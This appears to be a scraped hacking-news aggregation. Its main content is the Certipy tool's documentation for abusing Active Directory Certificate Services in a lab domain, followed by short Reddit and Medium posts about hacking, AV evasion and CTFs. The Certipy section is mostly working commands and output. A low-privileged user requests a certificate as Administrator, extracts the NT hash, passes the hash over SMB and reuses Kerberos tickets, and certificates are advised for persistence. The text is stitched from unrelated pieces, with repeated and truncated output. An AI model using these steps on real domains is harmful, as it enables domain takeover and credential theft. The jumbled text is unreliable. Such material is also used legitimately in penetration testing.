Certificate Validity Start : 2021-10-06 11:32:01+00:00
Certificate Validity End : 2026-10-06 11:42:01+00:00
User Specified SAN : Disabled
CA Permissions
Owner : BUILTIN\Administrator
Access Rights
ManageCertificates : BUILTIN\Administrator
predator\Domain Admins
predator\Enterprise Admins
ManageCa : BUILTIN\Administrator
predator\Domain Admins
predator\Enterprise Admins
Enroll : Authenticated Users
Vulnerable Certificate Templates
0
CAs : predator-DC-CA
Template Name : Copy of Web Server
Validity Period : 2 years
Renewal Period : 6 weeks
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Authorized Signatures Required : 0
Extended Key Usage :
Permissions
Enrollment Permissions
Enrollment Rights : predator\Domain Admins
predator\Enterprise Admins
Authenticated Users
Object Control Permissions
Owner : predator\Administrator
Write Owner Principals : predator\Domain Admins
predator\Enterprise Admins
predator\Administrator
Write Dacl Principals : predator\Domain Admins
predator\Enterprise Admins
predator\Administrator
Write Property Principals : predator\Domain Admins
predator\Enterprise Admins
predator\Administrator
Vulnerable Reasons : 'Authenticated Users' can enroll, enrollee supplies subject and t emplate allows authentication
'Authenticated Users' can enroll and template has dangerous EKU Use the -user parameter to find vulnerable certificate templates for another user. By default, the current user will be used.
Find all templates
$ certipy 'predator/john:Passw0rd@dc.predator.local' find
[*] Finding certificate templates for 'john'
User
Name : predator\john
Groups :
Certificate Authorities
0
CA Name : predator-DC-CA
DNS Name : dc.predator.local
Certificate Subject : CN=predator-DC-CA, DC=predator, DC=local
Certificate Serial Number : 1976D0FEFCAFC9A84D02D305FA88D84D
Certificate Validity Start : 2021-10-06 11:32:01+00:00
Certificate Validity End : 2026-10-06 11:42:01+00:00
User Specified SAN : Disabled
CA Permissions
Owner : BUILTIN\Administrator
Access Rights
ManageCertificates : BUILTIN\Administrator
predato r\Domain Admins
predator\Enterprise Admins
ManageCa : BUILTIN\Administrator
predator\Domain Admins
predator\Enterprise Admins
Enroll : Authenticated Users
Certificate Templates
0
CAs : predator-DC-CA
Template Name : User
Validity Period : 1 year

Renewal Period : 6 weeks
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectRequireEmail
SubjectAltRequireEmail
SubjectAltRequireUpn
Enrollment Flag : AutoEnrollment
PublishToDs
IncludeSymmetricAlgorithms
Authorized Signatures Required : 0
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Permissions
Enrollment Permissions
Enrollment Rights : predator\Domain Admins
predator\Domain Users
predator\Enterprise Admins
Object Control Permissions
Owner : predator\Enterprise Admins
Write Owner Principals : predator\Domain Admins
predator\Enterprise Admins
Write Dacl Principals : predator\Domain Admins
predator\Enterprise Admins
Write Property Principals : predator\Domain Admins
predator\Enterprise Admins
[...]
11
CAs : predator-DC-CA
Template Name : Copy of Web Server
Validity Period : 2 years
Renewal Period : 6 weeks
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Authorized Signatures Required : 0
Extended Key Usage :
Permissions
Enrollment Permissions
Enrollment Rights : predator\Domain Admins
predator\Enterprise Admins
Authenticated Users
Object Control Permissions
Owner : predator\Administrator
Write Owner Pr incipals : predator\Domain Admins
predator\Enterprise Admins
predator\Administrator
Write Dacl Principals : predator\Domain Admins
predator\Enterprise Admins
predator\Administrator
Write Property Principals : predator\Domain Admins
predator\Enterprise Admins
predator\Administrator
Request
Request a new certificate from a certificate template. By default, the current user specified in the target parameter will be used.
Request as another user
To request a certificate as another user, use the -alt parameter. This only applies to certificate templates, where the enrollee specifies the subject, or when the CA allows the enrollee to specify a UPN, i.e. User Specified SAN is set to Enabled. In this example, the user john is a low privileged user. The certificate template Copy of Web Server is a copy of the default Web Server template. The EKU Server Authentication was removed, such that the template has no EKUs (No EKUs = any purpose). The default Web Server template allows the enrollee to supply the subject. john will request a certificate valid for authentication (https://www.kitploit.com/search/label/Authentication) as jane. The CA predator-DC-CA has Copy of Web Server enabled. $ certipy 'predator/john:Passw0rd@dc.predator.local' req -template 'Copy of Web Server' -ca 'predator-DC-CA' -alt 'jane'
[*] Generating RSA key
[*] Requesting certificate
[*] Request success
[*] Got certificate with UPN 'jane'

[*] Saved certificate to '2.crt'
[*] Saved private key to '2.key' The certificate and key will be DER encoded and saved to .(crt|key), where request ID is returned by the server.
Request as self
It is also possible to request a certificate for the current user. This is a good option for persistence since a certificate is not affected by password changes. By default, domain users are allowed to enroll in the default User template. $ certipy 'predator/john:Passw0rd@dc.predator.local' req -template 'User' -ca 'predator-DC-CA'
[*] Generating RSA key
[*] Requesting certificate
[*] Request success
[*] Got certificate with UPN 'john@predator.local'
[*] Saved certificate to '3.crt'
[*] Saved private key to '3.key'
Authenticate
The auth action will use the PKINIT Kerberos extension to authenticate with the provided certificate. The target user must be specified in the target parameter. If not specified, Certipy will try to extract the UPN from the certificate. The TGT will be saved in a credential cache to .ccache. The NT hash will be extracted by using Kerberos U2U to request a TGS for the current user, where the encrypted PAC will contain the NT hash, which can be decrypted. $ certipy 'predator/jane@dc.predator.local' auth -cert ./2.crt -key ./2.key
[*] Using UPN: 'jane@predator'
[*] Trying to get TGT...
[*] Saved credential cache to 'jane.ccache'
[*] Trying to retrieve NT hash for 'jane@predator'
[*] Got NT hash for 'jane@predator': 077cccc23f8ab7031726a3b70c694a49
Using the NT hash
You can simply pass-the-hash (PTH) for many services. For instance SMB: $ impacket-smbclient -hashes :fc525c9683e8fe067095ba2ddc971889 'predator.local/administrator@dc.predator.local'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# who
host: \\172.16.19.1, user: administrator, active: 1, idle: 0
Using the credential cache
The credential cache currently holds a TGT. The TGT can be used to request TGSs for services. For instance, to request a TGS for the cifs (SMB) service at dc.predator.local: $ # use TGT from Certipy
$ export KRB5CCNAME=./Administrator.ccache
$ # request TGS
$ impacket-getST -spn 'cifs/dc.predator.local' -dc-ip 172.16.19.100 -no-pass -k 'predator/administrator'
$ # use TGS from impacket-getST
$ export KRB5CCNAME=./administrator.ccache
$ # run smbclient with TGS (notice the FQDN)
$ impacket-smbclient -k -no-pass 'predator.local/administrator@dc.predator.local'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# who
host: \\172.16.19.1, user: Administrator, active: 1, idle: 0 Note that impacket-getST will overwrite the credential cache at .ccache. Create a copy of the credential cache from Certipy before requesting a TGS with impacket-getST.
Errors
Please submit any errors, issues, or questions under "Issues". A lot of errors can be caused by the user, tool, and target, but the error handling is not perfect.
Credits
Will Schroeder (https://twitter.com/harmj0y) and Lee Christensen (https://twitter.com/tifkin_) for Certified Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) and Certify (https://github.com/GhostPack/Certify) Dirk-jan (https://twitter.com/_dirkjan) for PKINITtools (https://github.com/dirkjanm/PKINITtools)

Download Certipy (https://github.com/ly4k/Certipy)

hacking: security in practice
Why most of the black hat hackers on FBI's Most wanted list state sponsored hackers, not lone wolf/ non state affiliated groups?

If you scroll down most wanted hackers list on FBI website, all the hackers and groups are state sponsored.

Most of the lone wolf hackers or group of hackers are arrested easily.

submitted by /u/Good-Bottle7238
[link] [comments]

hacking: security in practice
Alexa Cameras

Is it possible to hack into a Amazon Echo spot camera and view? I tried many times on mine with no luck.

submitted by /u/StevieRay8string69
[link] [comments]

Hacking on Medium
Evade Antivirus Softwares and get a reverse meterpreter shell.

https://cdn-images-1.medium.com/max/600/1*-_PDjyHtsuPZWXdK0nXrBA.png
We often get recommendations from experts to install an anti-virus software to protect our computer system from various malware, virus and…

Continue reading on Medium »

Hacking on Medium
OverTheWire: Bandit Level 23 → 24

https://cdn-images-1.medium.com/max/2600/0*j42ri5ddFcJkh5fJ
Writeup for OverTheWire Bandit CTF Level 23 → 24

Continue reading on Medium »

Hacking on Medium
United States has offered a $10 million reward for Colonial Pipeline Hackers.

https://cdn-images-1.medium.com/max/2600/0*75ty1fbHyEK5-7mQ
The US government is offering a $10 million (£7.4 million) reward money about the DarkSide hacker group.

Continue reading on Medium »

KitPloit - PenTest Tools!
Certipy - Python Implementation For Active Directory Certificate Abuse

https://blogger.googleusercontent.com/img/a/AVvXsEjc8nNzh4nZWmYpoJqcyoUTMvyTpGZNv3TS5ce8Ebsn6IpjwA7eK6_p3WG2Vk2Ww7Rh-JX9NC79f8HUmV-YCSpjdXFjx3vvY58jH_wNRfCj3wBtmba4ydzTRfqVXzFcSLNfGhd6KD_eqi3TOxayRho-R6xd9yGGCOuAB_yvUp-_FAOLaVPi-czMP-C9jQ=w640-h202 Certipy is a Python tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

Based on the C# variant Certify from @harmj0y and @tifkin_. Installation$ python3 setup.py installRemember to add the Python scripts directory to your path. Usage$ certipy -h
usage: certipy [-h] [-debug] [-target-ip ip address] [-nameserver nameserver] [-dns-tcp] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
target {find,req,auth,auto} ...

Active Directory certificate abuse

positional arguments:
target [[domain/]username[:password]@]ExamplesAutoAutomatically abuse certificate templates for privilege escalation. This action will try to find, request and authenticate as the Administratoruser. Upon success, a credential cache will be saved and the NT hash will be decrypted from the PAC in the TGS_REP.

To demonstrate how easy it is to misconfigure certificate templates, the default certificate template Web Serverhas been copied to Copy of Web Server. The only change was that the EKU Server Authenticationwas removed and that authenticated users are allowed to enroll. This will allow enrollees to specify the subject and use it for client authentication, i.e. authenticate as any user. If no EKUs are specified, then the certificate can be used for all purposes. Alternatively, one could add the Client AuthenticationEKU.

In this example, the user johnis a low privileged user who is allowed to enroll for the Copy of Web Servertemplate. $ certipy 'predator/john:Passw0rd@dc.predator.local' auto
[*] Trying template 'Copy of Web Server' with CA 'predator-DC-CA'
[*] Generating RSA key
[*] Requesting certificate
[*] Request success
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate to '1.crt'
[*] Saved private key to '1.key'
[*] Using UPN: 'Administrator@predator'
[*] Trying to get TGT...
[*] Saved credential cache to 'Administrator.ccache'
[*] Trying to retrieve NT hash for 'Administrator@predator'
[*] Got NT hash for 'Administrator@predator': fc525c9683e8fe067095ba2ddc971889By default, the user Administratoris chosen. Use the -userp[...]

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Certipy - Python Implementation For Active Directory Certificate Abuse

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
HackTheBox | - PivotAPI ✨ (Windows | Insane | ActivDir) Video Solution

⭐️ I have started an amateur YouTube Channel@SecAura on Ethical Hacking.

⭐️ So far it’s just HackTheBox content while I find time to put some original content together covering all areas of hacking :) and also find my feet with content creation :)

⭐️ I would love it if anyone could check out my video(s), and provide feedback, and hopefully learn something in the process! :)

🔗 Link attached to the latest retired box video solution - PivotAPI ✨ (Windows | Insane | ActivDir) !

https://www.youtube.com/watch?v=nejEQ12RvJ0

Main topics covered:

ASREP roasting (Kerberoasting)

Binary analysis - win API calls

Exfiltration of Binary keepass2 database over MSSQL Command Injection

Multiple BloodHound lateral privilege escalation (GenericWrite / LAPSPASSWORD)

C# Binary analysis in DNSPY/Visual Studio

submitted by /u/SecAura
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/BNwJ48zXMDYjbiEay4p81NKiUeqmtzcvHNhn0LAr7HA.jpg Hardware grade PIN bruteforce protection using a split encryption key

https://veslocker.com

https://preview.redd.it/7lzm8zaub0y71.png?width=756&format=png&auto=webp&s=ba002803e3b7e99c41308238f16755d0290291cf

submitted by /u/vesvault
[link] [comments]

hacking: security in practice
How can having someones ip be a threat to them?

Recently I've been seeing all these memes about how sending someone their ip address is threatening. I know those are just meme but I wonder if it's actually a thing. I don't know much about networks and hacking but I know that with ip you can only find out which city people live in and that's not much information.

submitted by /u/mustache-eater
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video